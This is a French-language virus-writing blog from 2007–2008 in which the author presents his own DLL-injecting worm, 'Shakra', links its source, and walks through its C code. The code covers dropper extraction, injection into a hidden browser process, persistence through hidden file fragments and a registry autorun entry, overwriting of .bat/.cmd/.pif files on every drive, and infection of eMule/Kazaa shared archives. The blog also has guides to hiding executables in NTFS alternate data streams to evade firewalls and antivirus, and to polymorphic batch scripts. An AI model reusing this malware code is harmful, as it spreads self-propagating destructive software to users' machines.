7/19/2008

vxfof is dead !

Ce blog est fermé ...
This blog is close ...

Nouvelle adresse, nouveau site =D
New url, new website =D

http://petunkabl.byethost15.com/vxaf.html

8/14/2007

Shakra Dll Injected Worm

[This article in english here]


Hello tout l'monde !!
Chui content ! j'ai fini de coder mon worm dll : Shakra
J'l'ai ecrit en C et compilé avec dev-cpp 4.9.9.2 (d'ailleur la compil' impec !! aucun warnings ni rien ^^)

La source est dispo ici : http://vahan.d.free.fr/505/blog/dl/Shakra_dll_worm.rar

En fait j'esplique le concept :
le worm est en fait une dll qui sera injecté dans le processus du browser par defaut
Sa permet d'etre plutot stealth et efficace et pi c'est rigolo a coder :D

Bon, maintenant observons comment le code fonctionne :)

Ok, c'est parti dans le code source ...

"Trip Into the Shakra" (whoa ! sa fait un peu genre film d'indiana jones :p)
bref ...

Quand on ouvre la jolie archive que j'vous ai fait,on peu voir deux projets :
-Shakra_dll.dev
-Shakra_dll_worm.dev

Shakra_dll contient le code de la dll
and Shakra_dll_worm le code du dropper(qui extrait et injecte la dll)

Ok .. Comment sa marche
Tout d'abord, le concept :

-l'user execute le dropper
-celui ci extrait la dll de lui meme
-ensuite il essaye de trouver le browser par defaut en lisant une regkey
-quand il a trouvé il l'execute secretement (SW_HIDE)
-Et hop !! il inject la dll dans ce browser :)
-et ensuite il quitte
-maintenant, la dll est injecté dans le browser
-et le worm il tourne tranquillement !! (j'vais pas vous expliquer tout l'code du worm !! regarder la source :p)



La premiere chose est : "comment qu'on extrait c'te foutu dll ??"
Simple !! il suffit d'utiliser une fonction d'extraction de ressource !!
observons :

Pour extraire quelquechose avec cette fonction, on a besoin d'un fichier de ressource qui
va expliquer a notre jolie fonction ou est le fichier a compresser dans l'executable final
lorsque l'on compilera

[CODE]
int extract(void) {
HRSRC hressource;
HANDLE file_handle;
HGLOBAL res_global;
unsigned char *p_file;
char *filename;
unsigned long szp_file;

filename = (char*)malloc(sizeof(RESSOURCENAME)+sizeof(".dll"));
// RESSOURCENAME est la define qui contient le nom de la dll , r'gad dans shakra_res.rc

hressource = FindResource(NULL, RESSOURCENAME, "BITMAP");
// ici on essaye de trouver une ressource nommée RESSOURCENAME
// et qui est decrite comme un BITMAP


res_global = LoadResource(NULL, hressource);
// On a trouvé la ressource donc on la recupere


szp_file = SizeofResource(NULL, hressource);
// on en prend la taille

p_file = (unsigned char *)LockResource(res_global);
// on en prend le contenu

snprintf(filename,sizeof(RESSOURCENAME".dll")+1, RESSOURCENAME".dll");
// filename coentient le nom de la dll que l'on va ecrire

file_handle = CreateFile(filename, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);

// et ici on ecrit la dll :)
if(file_handle != (HANDLE)ERROR_ALREADY_EXISTS) {

while(szp_file--) {
unsigned long numWritten;
WriteFile(file_handle, p_file, 1, &numWritten, NULL); // Write it
p_file++;
}
}
CloseHandle(file_handle);
return 0;
}
[CODE]

hey c'est pas compliqué !!
On comprend la que quand on compile le code, la dll est "compressée" dans l'executable final
J'ai decouvert cette technique d'extraction quand je lisais la source du rootkit Agony par Intox (http://spiritofhack.net/tools/agony.rar)

Bon maintenant : comment qu'on injecte la dll ??
Ivanlef0u,dans son article sur l'injection dll (dans mindkind #10)
explique la technique :
C'est simple ! il suffit d'ecrire c'qu'on veut injecter dans la memoire du process cible
et de creer un remote thread avec cette memoire :)
J'vous montre la fonction :

[CODE]
int loaddll(char *proc){
HANDLE process,thread;
DWORD tid;
LPVOID valloc;
int szrsname = strlen(RESSOURCENAME".dll") + 1;

// load_shakra contient ce qu'on va ecrire dans la memoire du process
LPTHREAD_START_ROUTINE load_shakra=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");

// ici on ouvre le process cible (grace a son PID)
process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, name2pid(proc));

// on alloue de la memoire dans le process (hey pour placer notre truc, faut bien d'la place ;))
valloc = VirtualAllocEx(process, NULL, szrsname,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

// Ici on ecrit load_shakra dans la memoire du processus avec le nom de la dll
WriteProcessMemory(process,valloc,RESSOURCENAME".dll",szrsname,0);

// et ici hop injection d'code :) fun!
thread = CreateRemoteThread(process, NULL, 0,load_shakra,valloc, 0,&tid);

WaitForSingleObject(thread, INFINITE);
VirtualFreeEx(process,valloc, 0, MEM_DECOMMIT);
CloseHandle(thread);
return 0;
}
[CODE]

Yeah! c'est facile aussi, somme toute :)
C'est jolie en plus comme code :p

maintenant qu'on a vu les deux fonctions les plus importantes du dropper
observons le fonctionnement de certaines fonctions de la dll (le vrai worm):

J'pense que les plus importantes fonctions sont :
-OverFileSplitting() (OVS.h)
-Infector() (infect.h)
-Spreading() (spread.h)

Observons un peu le code de OverFileSplitting() :
(J'vais pas le commenter, j'ai la flemme et pis c'est tout simple !!)
[CODE]
int OverFileSplitting(void) {
FILE *in,*out,*joiner;
int nbd = 0;
char *name,sysdir[200],curdir[200],getstr[1024];
SYSTEMTIME time;
DWORD rnd;
HKEY key;

GetSystemTime(&time);
srand(time.wMilliseconds); // make milliseconds as random seed

GetSystemDirectory(sysdir,sizeof(sysdir));
GetCurrentDirectory(sizeof(curdir),curdir);
SetCurrentDirectory(sysdir);

name = (char *)malloc(sizeof(int)+sizeof(".shk")+sizeof(int));

in = fopen(DROPPER_CPY_NAME,"rb");

while(!feof(in)){
memset(getstr,0,sizeof(getstr));

rnd = rand()%1024;
printf("rnd = %d\n",(int)rnd);
sprintf(name, "%d.shk%d", nbd, nbd);
out = fopen(name, "wb");
fread(getstr, 1,rnd, in);
fwrite(getstr, 1, rnd, out);

fclose(out);
SetFileAttributes(name,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED);
nbd++;
}
free(name);
fclose(in);

joiner = fopen(OVS_JOINER,"w");
fprintf(joiner,"if file exists "DROPPER_CPY_NAME" goto lfef\n");
fprintf(joiner,"set /A numb=1\n");
fprintf(joiner,"set commd=copy 0.shk0\n");
fprintf(joiner,":looooooop\n");
fprintf(joiner,"set commd=%%commd%%+%%numb%%.shk%%numb%%\n");
fprintf(joiner,"set /A numb=%%numb%%+1\n");
fprintf(joiner,"if file exists %%numb%%.shk%%numb%% goto looooooop\n");
fprintf(joiner,"%%commd%% "DROPPER_CPY_NAME"\n");
fprintf(joiner,"start "DROPPER_CPY_NAME"\n");
fprintf(joiner,":lfef\n");
fprintf(joiner,"exit\n");
fclose(joiner);

SetFileAttributes(OVS_JOINER,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED);

// Make the joiner autorun
if(RegCreateKey(HKEY_LOCAL_MACHINE,OVS_KEY,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"StubPath",0,REG_SZ,"cmd.exe /c "OVS_JOINER,sizeof("cmd.exe /c "OVS_JOINER));
RegCloseKey(key);
}

SetCurrentDirectory(curdir);
return 0;
}
[CODE]

C'est une fonction qui separe le dropper en plusieurs petites parties et créé
ensuite un fichier batch qui va verifier l'existence du dropper, si il existe pas
ben il va l'ecire en rejoignant tous les morceaux and pis ensuite ben va l'executer :)
(le nouveau dropper !)
C'est une fonction plutot sympa qui permet au dropper de rester present sur l'ordi ;)
(idée originale : SPTH, in rrlf #6)

Bon, le code fonctionne comme sa :
On ouvre le dropper en lecture binary

tant qu'on peut lire le dropper, il créé des fichiers en ecrivant
une quantité aleatoire de code compilé dans chacun des fichiers

pour finir il créé le joiner et le met en autorun :)

C'est aussi simple :)
(ce worm est definitivement trop simple =p)

ok, maintenat la fonction Infector()

[CODE]
int Infector(void) {
// Infecting some files by simple overwritting
// ouais une vieille methode ultra bourrine de chez primitive quoi :-p

char sysdir[200],windir[200],curdir[200];
char *drives[] = {"b:","c:","d:","e:","f:","g:","h:","i:","j:","k:","l:","m:","n:","o:","p:","q:","r:","s:","t:","u:","v:","w:","x:","y:"};
char *targets[] = {"*.bat","*.cmd","*.pif"}; // Les fichiers a infecter :)
int nb=0,nd = 0;

GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));

while(targets[nd]) {
nb = 0;

// In windows directory
char *commdone = (char *)malloc(sizeof("copy ")+sizeof(DROPPER_CPY_NAME)+1+sizeof(windir)+1+sizeof(targets[nd])+1);
snprintf(commdone,sizeof(commdone),"copy %s %s\\%s",DROPPER_CPY_NAME,windir,targets[nd]);
system(commdone);
free(commdone);

// In System directory
char *commdtwo = (char *)malloc(sizeof("copy ")+sizeof(DROPPER_CPY_NAME)+1+sizeof(sysdir)+1+sizeof(targets[nd])+1);
snprintf(commdtwo,sizeof(commdtwo),"copy %s %s\\%s",DROPPER_CPY_NAME,sysdir,targets[nd]);
system(commdtwo);
free(commdtwo);

// In existing drives (can include some usb key ;))
while(drives[nb]) {
char *commd = (char *)malloc(sizeof("copy ")+sizeof(DROPPER_CPY_NAME)+1+sizeof(drives[nb])+1+sizeof(targets[nd])+1);
snprintf(commd,sizeof(commd),"copy %s %s\\%s",DROPPER_CPY_NAME,drives[nb],targets[nd]);
system(commd);
free(commd);
nb++;
}
nd++;
}

return 0;
}
[CODE]

Celle la est trop trop simple aussi :)
en fait sa fait que reecrire tous les .bat,.cmd & .pif dans le dossier
windows, le dossier systeme et dans tous les disques existants
(sa inclue aussi les clefs usb, donc peut servir pour le spreading mais c'est trop useless)
C'est pas une bonne facon d'infecter des fichiers, pasque c'est pas tellement discret !!


Pour finir j'vous montre la fonction de spreading :
elle infecte tous les .rar,.zip,.arj & .tar.gz
dans les dossiers de partage de kazaa & emule
Person j'pense que c'est mieux que de creer un nouvelle archive dans ces dossiers ;)

[CODE]
int Spreading(void) {
char emule_path[512],kazaa_path[512];
char curdir[200];
char sysdir[200];

GetSystemDirectory(sysdir,sizeof(sysdir)-sizeof(DROPPER_CPY_NAME)-1);
GetCurrentDirectory(200,curdir);
strcat(sysdir,"\\"DROPPER_CPY_NAME);

// eMule Dir infection
GetP2Path(emule_path,"emule"); // GetP2Path est la fonction qui retrouve les dossiers de partage de emule et kazaa

if(emule_path != NULL) {
SetCurrentDirectory(emule_path);
InfectArchives(); // cette fonction infecte *.rar,*.zip,*.arj & *.tar.gz dans le dossier courant
SetCurrentDirectory(curdir);
}


//Kazaa dir infection
GetP2Path(kazaa_path,"kazaa");

if(kazaa_path != NULL) {
SetCurrentDirectory(kazaa_path);
InfectArchives();
SetCurrentDirectory(curdir);
}

return 0;
}
[CODE]

Hey, j'pense que vous pouvez comprendre le principe tout seul :p

----
Bien sure ce code n'est pas parfait !!
Un bon truc a rajouter ce serait une protection contre les progs qui liste les dll utilisés
par des process,Ivanlef0u explique comment faire dans son article mais
j'ai pas trop trop bien compris les codes alors j'ai dédcidé de pas l'faire pour l'moment
p'tet que j'le f'rai .. qui sait :)

L'article est fini !
J'espere que j'vous aurai appris quelque chose et vous vous eclaterez en lisant ma source
(p'tin c'est bien un truc de geek sa xD)

8/12/2007

Alternate data Stream (la goutte qui fait pas deborder le vase)

(English peoples : click on the article's title, if the link is dead : email me (sewtwo[at]hotmail[dot]com)

Hophophop !!
Quand j'disais que j'allais foutre des vieux trucs useless pour remplir :D
la c'est un paper sur les ADS (Alternate Data Stream) c'est un truc cool sur les systemes
NTFS et sa permet de se faire discret genre on s'cache, on voit sans etre vu, un vrai truc de
sniper ... (oulaahhh j'dis des trucs bizares la :/)

Bon bref place au texte (hé serieux, si vous connaissez pas, lisez c'est hachement cool et simple ce truc ;))

--[Alternate Data Stream]-- (ADS)
Ou Comment cacher un fichier dans un autre avec Windows NT ?
ou encore Hook en lignes de commande !

------
Matos Necessaire :
-Un ordi
-Windows NT
-Partition NTFS
-Un "cmd.exe"
------






1-Kezako ?

Un ADS (en anglais Alternate Data Stream)
est un Ajout d'un fux de données a un fichier

Un attribut caché par un OS à base NT - sur une partition NTFS -
est le « Alternate Data Stream » ou A.D.S. En bon Français
on appelle cet attribut un "flux de données additionnel".
« Additionnel » parce que ce sont des données qui viennent
s'additionner à un fichier préexistant.
En gros sa permet de creer un fichier
sur un autre fichier le fichier créé n'apparaitra
pas pas sur l'ordinateur mais il existera quand meme ^^

-A quoi sa sert ??
ben il est possible, par exemple de cacher des fichiers
a un utilisateur et a pleins d'autres trucs mais .. voyons sa ..


2-Comment creer un ADS simple ??

Tout d'abord lancons le shell
Ensuite on va creer un fichier "porteur" se sera
le fichier auquel on va ajouter l'ADS .
Pour ce premier test on va utiliser un simple fichier texte

---CMD Command Line Code--

echo hello world > test.txt
:: on créé un fichier test.txt en ecrivant dedans
"hello world" (sans les guillemets ;))

echo ceci est un test > test.txt:flux.txt
:: On créé un ADS sur test.txt en ecrivant dedans "ceci est un test"

--/CMD Command Line Code--

0_o c'est quoi sa test.txt:flux.txt ??
C'est tout simplement l'ADS : test.txt est
le fichier porteur et flux.txt c'est l'ADS ajouté !!

maintenant observons :

---CMD Command Line Code--

notepad.exe test.txt
:: la on voit le contenu de test.txt : hello world

notepad.exe test.txt:flux.txt
:: et la on voit le contenu de flux.txt : ceci est un test

---/CMD Command Line Code--

Hoo surprise sa marche tres bien, on a créé un ADS sur
le fichier test.txt et le fichier flux.txt est introuvable :-D
N'oubliez pas que pour appeler un ADS il faut TOUJOURS,OBLIGATOIREMENT
l'appeler par son fichier porteur
(notepad.exe test.txt:flux.txt ::pour appeler flux.txt par exemple)






3- Ajout d'un ADS a un executable
pour Ajouter un ADS a un executable(.exe) il faut utiliser
la commande "type"de la facon suivante :
type fichier_original>executable:ADS
Il faut donc aussi un fichier original dans lequel il y a les données a ajouter .

Par exemple pour joindre un fichier texte a un programme :

---CMD Command Line Code--
echo hello fucking world > hello.txt
:: on ecrit "hello fucking world" dans hello.txt

type hello.txt > prog.exe:ads.txt
:: On créé l'ADS en ecrivant le contenu de hello.txt dans ads.txt sur prog.exe

notepad.exe prog.exe:ads.txt
:: Et la on ouvre l'ADS (ads.txt) avec notepad
// Et on voit le contenu de ads.txt soit : "hello fucking world"

---/CMD Command Line Code--

On peut utiliser cette technique poour joindre un ADS a toute sorte de
fichier : jpg,txt,dll,ini,etc ...
on peut aussi ajouter un ADS a n programme en cour d'execution ;-)

4- Ajout d'un ADS a un dossier
Héé oui sa c'est un truc plutot cool ^^
On peut carrement ajouter un ADS a un dossier
On va essayer en creant un dossier "hello" puis en
ajoutant a ce dossier un fichier texte en ADS :

---CMD Command Line Code--

md hello
:: creation du dossier hello dans le dossier courant

cd hello
:: on se deplace dans ce dossier

echo hello flux > :hello_flux.txt
:: on créé le fichier :hello_flux.txt en ADS sur le dossier hello en ecrivant "hello flux" dedans

notepad.exe :hello_flux.txt
:: on ouvre l'ADS et on voit que dedans 0_o hooo c'est ecrit "hello flux" :-D parfait !!

::on peut aussi ouvrir le fichier comme cela :
notepad.exe C:\dossier\hello:hello_flux.txt

---/CMD Command Line Code--
Et bien sur toujours aucun fichier "hello_flux.txt" dans le dossier hello :)


5-Lire les données de l'ADS
Pour lire les données d'un ADS il faut utiliser la commande "more"
de la facon suivante :

---CMD Command Line Code--
echo > test.txt
echo hello > test.txt:koi.txt
:: on créé le fichier test.txt et on créé koi.txt dessus en ecrivant "TEST" dedans

more < test.txt:koi.txt
:: et la hop ! le contenu s'affiche dans la fenetre du shell :)
---/CMD Command Line Code--
Ultra simple :D


6 - Copier un executable sous forme d'ads:
Pour copier un executable dans un ADS il faut utiliser la commande
"type" comme vu precedemment :

---CMD Command Line Code--

type prog.exe > porteur.txt:ads.exe

---CMD Command Line Code--
Bien sur on peut utiliser toute sorte de fichier porteur (exe,dll,jpg,html,etc ..)

Pour lancer l'ads copié il faut utiliser la commande start :

---CMD Command Line Code--

start C:\dossier\porteur.txt:ads.exe

---CMD Command Line Code--
ATTENTION !! pour lancer le programme il est imperatif d'ecrire tout le chemin
d'acces (ici c:\dossier) sinon : acces refusé!!
Vous pouvez a present suprimer le fichier prog.exe et utiliser sa copie ADS
porteur.txt:ads.exe ^^ !!

7-Supprimer un ADS

Pour supprimer un ADS la seule solution est de supprimer son porteur !!
C'est un peu bourrin mais bon ^_^

8-Discretion ...

-Taskmngr :
Sous Windows 2000 le gestionnaire des taches affiche uniquement
le fichier porteur ce quoi est bien pratique ^_^
par exemple si votre ads est test.txt:hello.exe,
le gestionnaire des taches affichera "test.txt" !!

Sous Windows XP par contre c'est tout l'ads qui est affiché !!
donc si votre ads est test.txt:hello.exe le gestionnaire des taches affichera "test.txt:hello.exe" !! c'est genant !!

Pour rendre plus discret on peut creer l'ADS sur un dossier tel que windows :
Sa affichera windows:hello.txt

Bien sur si un utilisateur trouve l'ads et veut le supprimer il vaut mieux avoir copié son ADS sur un dossier ou un fichier systeme pour ne pas se faire b**ser betement ^_^

-Firewall
Hééé oui grace aux ADS il est possible de feinter pour bypasser trankilement un firewall :
Il suffit pour cela d'utiliser un programme auquel l'utilisateur fait confiance tel que msn,iexplorer,csrss comme porteur
pour ainsi faire passer notre petit ADS pour un programme de confiance ^_^ sa c'est utile !!


9-AVs

Helas !!
Il est impossible de proteger notre gentil ADS
de ces mechants antivirus !!
Ou du moins des meilleurs d'entre
eux car il n'est pas sur que tout les antivirus du marché
scannent les ADS mais il est sur que
kaspersky, mcafee, norton et autres grands noms de
l'AVxing sont efficaces sur ce point, mais d'autres
(probablement tels que Avast ! héhéhé)ne sont pas tres efficaces a ce niveau ..
il faut donc de la chance ^^

10- NPO
N'oubliez pas qu'il n'est pas necessaire
d'etre admin pour creer des ADS,que jamais
un fichier n'annoncera jamais la taille ou
le nombre d'ADS qui lui sont rattachés, quelquesoit leur taille !! :)
N'oubliez pas non plus qu'il est impossible de supprimer
un ADS sasn supprimer son fichier porteur,que les ADS ne
fonctionnent que sur des partitions NTFS

hey au fait : il est possible de rajouter plusieurs ADS a un meme fichier ;)

----[Fin]----
Ouais c'est fini c'est pas si mal lol ^^
N'oubliez pas les ADS dans vos backdoors et autres worms :p
--------------------------------------By 505--
Eeeettt voila nan serieux c'est plutot interessant meme si c'est âs du tout neuf (hoo que non =))
mais bon sa occupe en plus ;)
Allez, cya ;)

Holly Poly Batch pour remplir :)

[For english people : see at the EOF ;)]

Allez hop juste pour remplir un peu l'blog (ben ouais faut bien commencer :p) j'vais vous copier/coller un p'tit paper que j'ai ecrit ya un moment et que comme par hasard j'ai retrouvé :D
Et ce paper est sur ... Le polymorphisme en batch :D
ouais ouais je sais c'est useless mais bon sa permettra toujours de demystifier un peu le polymorphisme ;)

Allez ctrl+C ctrl+V et c'est parti :)
(d'ailleurs j'vais probablement copier coller divers autres petits papers ecrits en temps jadis ;) des petites idées interessantes et tout et tout ;))
------------------------------------------------
--Le polymorphisme en batch

--By 505

Coder un moteur polymorphe c'est assez pratique ! et
en batch c'est possible !!
et oui !!
tout d'abord le pricincipe :
Il faut ecrire une variable bidon a la suite d'un bloc de code, donc il
faut recuperer une partie du code dans un fichier, generer une variable
bidon, ecrire cette vairable bidon a la suite dans le fichier puis continuer ..


Pour mettre en pratique le polymorphisme nous allons utiliser la commande
"find" qui permet de chercher une chaine de caractere dans un fichier
et retourne la/les ligne(s) ou est/sont situé(s) la chaine.
de quoi nous avons besoin :
-la commande find
-Plusieurs chaines de caracteres
-Un truc pour generer des variables bidons

Pourquoi "Plusieurs chaines de caracteres" ??
ben une chaine pour chaque bloc a reecrire entre les variables bidons generés !

Pour generer les variables on a deux choix devant nous :
Sous XP : Utiliser la variable predefinie %random% qui genere
un chiffre aleatoire entre 1 et 32767 !!
Sinon utiliser un petit script batch, c'est plus long mais bon :
-----------
:: le code principal (idée originale : Philet0ast3r / rrlf) ::
set nb=0
if "%nb%" EQU "9" set nb=0
set /a nb=%nb%+1
ver|time|find ",%nb%" > nul
if not errorlevel 1 (
echo %nb%
)

-----------

Pour generer un chiffre aleatoire avec ce code il faut faire une boucle
(ben oui si errorlevel 1 sa genere pas le chiffre !!)

donc voici un petit exemple de script polymorphe utiliant %random%
et le code de generation precedent :
-------------
%aaa%@echo off
%bbb%set nb=0
%bbb%set i=0
:again %bbb%
%bbb%if "%i%" EQU "11" goto fin
%bbb%set /A i=%i%+1
:again2 %bbb%
%bbb%if "%nb%" EQU "9" set nb=0
%bbb%set /a nb=%nb%+1
%bbb%ver|time|find ",%nb%" > nul
%bbb%if errorlevel 1 (
%bbb%set gen%i%=%nb%
%bbb%goto again
%bbb%)
%bbb%goto again2
:fin %bbb%
%bbb%set /A number=%gen1%*%gen2%*%gen3%*%gen4%*%gen5%*%gen6%*%gen7%*%gen8%*%gen9%*%gen10%*%gen11%
%bbb%set /A numberd = %gen3%+%gen7%*%gen9%
%aaa%echo ceci est un petit exemple de
%aaa%echo script batch polymorphe !
%aaa%echo ce code ecrit un premier bloc de code
%aaa%echo puis des variables bidons .
find "aaa" <%0> poly.bat
%bbb%echo %%%numberd%%% >> poly.bat
%bbb%echo %%%number%%% >> poly.bat
find "bbb" <%0>>poly.bat
%ccc%if not %os% EQU Windows_NT goto bye
%ccc%echo %%%random%%% >> poly.bat
%ccc%echo %%%random%%% >> poly.bat
:bye %ccc%
find "ccc" <%0>> poly.bat
--------------

Explications :
D'abord : c'est quoi ces %aaa%,%bbb%,%ccc% ??
Ce sont des variables vides,non declarés que l'on
utilise comme chaine de caractere pour find !!

le script genere tout d'abord deux chiffres aleatoires qui sont stockés
dans %number% et %numberd%
ensuite il affiche un petit texte puis il ecrit le bloc %aaa%
(toutes les lignes qui contiennent la chaine "aaa") dans poly.bat
ensuite il ecrit les deux chiffres generés precedemment dans poly.bat
puis il ecrit le bloc %bbb% et enfin, si le systeme est sous NT
il ecrit deux variables aleatoires generés avec %random% puis le bloc %ccc% !!


-
On peut ameliorer ce code en rajoutant quelques commandes comme :
IF %random% LEQ %random% echo cls >> poly.bat
ou des choses dans le genre, on peut aussi , grace a un systeme
de boucles et de conditions ecrire chaque bloc de maniere aleatoire !!

c'est a creuser ^^

Fin

------------------------------

Tioouuuu !! sa fait de l'effet dis moi 0_o c'est louche un peu ce truc d'ailleurs ;)

hophop oublions pas les anglophones :


FOR ENGLISH PEOPLE : i know there can be some people you don't
speak french on my blog, so i decided to write this article in english too
it's not wrote right now but it will, if it not,send me a msg, a mail
anything you want to make me write this !!
So the english version will be here :

http://vahan.d.free.fr/505/blog/en/poly_batch.txt

cya

Hello world

hello World et bienvenue sur mn blog
Ce blog comme vous devez vous en douter parlera principalement de vxing et de prog diverses
nottament en C et en PHP.

Bref, tout sa pour dire que je suis actuelement sur plusieurs projets :

-Un virus PHP evolué (c'est a dire poo et utilisation de class particulieres nottament la class COM sous windows, infection du systeme(windows & linux), desactivation du safe_mode (si j'y arrive :p),autostart,...
Couplé avec un tuto genre "505's PHP vx guide" sa pourrait en interesser plus d'un ;)

-Un petit worm qui a la particularité d'etre sous la forme d'une dll qui se fait injecter dans le browser par defaut (pratique pour bypass un firewall ;))

bref !! Je vous ferai des articles precis et complets sur chacun de ces projets lorsqu'ils sortironts ;)

En attendant j'vous donne rdv sur le forum de eof-project (cf links juste a coté la ;))

cya